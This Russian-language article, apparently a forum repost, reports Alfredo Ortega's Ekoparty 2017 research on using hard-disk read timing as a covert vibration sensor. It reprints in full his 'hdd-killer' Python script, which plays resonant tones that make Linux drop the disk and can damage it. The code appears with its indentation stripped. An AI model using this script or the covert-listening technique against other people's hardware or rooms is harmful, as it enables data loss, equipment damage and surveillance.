Please note, if you want to make a deal with this user, that it is blocked.

На конференции по компьютерной безопасности Ekoparty 2017 в Буэнос-Айресе аргентинский хакер Альфредо Ортега (Alfredo Ortega) показал очень интересную разработку — систему скрытой прослушки помещений без использования микрофона. Звук записывается непосредственно жёстким диском!
HDD улавливает, в основном, низкочастотные звуки высокой интенсивности, шаги и другие вибрации. Человеческую речь распознать пока нельзя, хотя учёные ведут исследования в этом направлении(распознавание речи по низкочастотным вибрациям, которые снимаются, например, с гироскопа или HDD).
опубликован на GitHub.
В отдельном репозитории hdd-time лежит версия утилиты, настроенная на атаку по времени на жёсткий диск, то есть настроенная на анализ системного вызова read ().
Демонстрация звукозаписи с помощью HDD, работа утилиты Kscope
Конечно же, речь нельзя разобрать таким способом, но в качестве датчика вибраций HDD вполне сгодится. Например, вы можете регистрировать, если в помещение с компьютером зашёл человек в твёрдой обуви или босиком (вероятно, если злоумышленник обут в мягкие кроссовки или на полу постелен толстый ковёр, то HDD не сможет зарегистрировать вибрации — это стоит проверить). Компьютер способен зарегистрировать разбитое стекло или другое происшествие с сильной интенсивностью звука. То есть жёсткий диск может выполнять роль своеобразной системы обнаружения несанкционированных проникновений.
HDD-киллер
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Ядро Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из видеоролика с демонстрацией работы HDD-киллера
Любопытно, что такие «атаки» на HDD иногда происходят совершенно случайно в обычной жизни. Например, в сентябре 2016 года дата-центр ING Bank был вынужден приостановить работу на 10 часов после пожарных учений. Десятки жёстких дисков вышли из строя из-за громкого звука инертного газа, выпускаемого из баллонов под большим давлением. Звук был очень громким (более 130 дБ), а ведь даже кричать на жёсткие диски нельзя — это увеличивает задержку доступа к HDD.
Демонстрация человеческого крика на жёсткие диски в дата-центре. Измерение задержки
Для генерации резонирующего звука Альфредо Ортега написал питоновский скрипт под названием hdd-killer (демонстрация на видео).
Скрипт HDD-киллера совсем небольшой так что можно его целиком опубликовать здесь.
Код:
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.\n\n" +\
"The disk will be opened as read-only.\n" + \
"Warning: It might cause damage to HDD.\n" +\
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()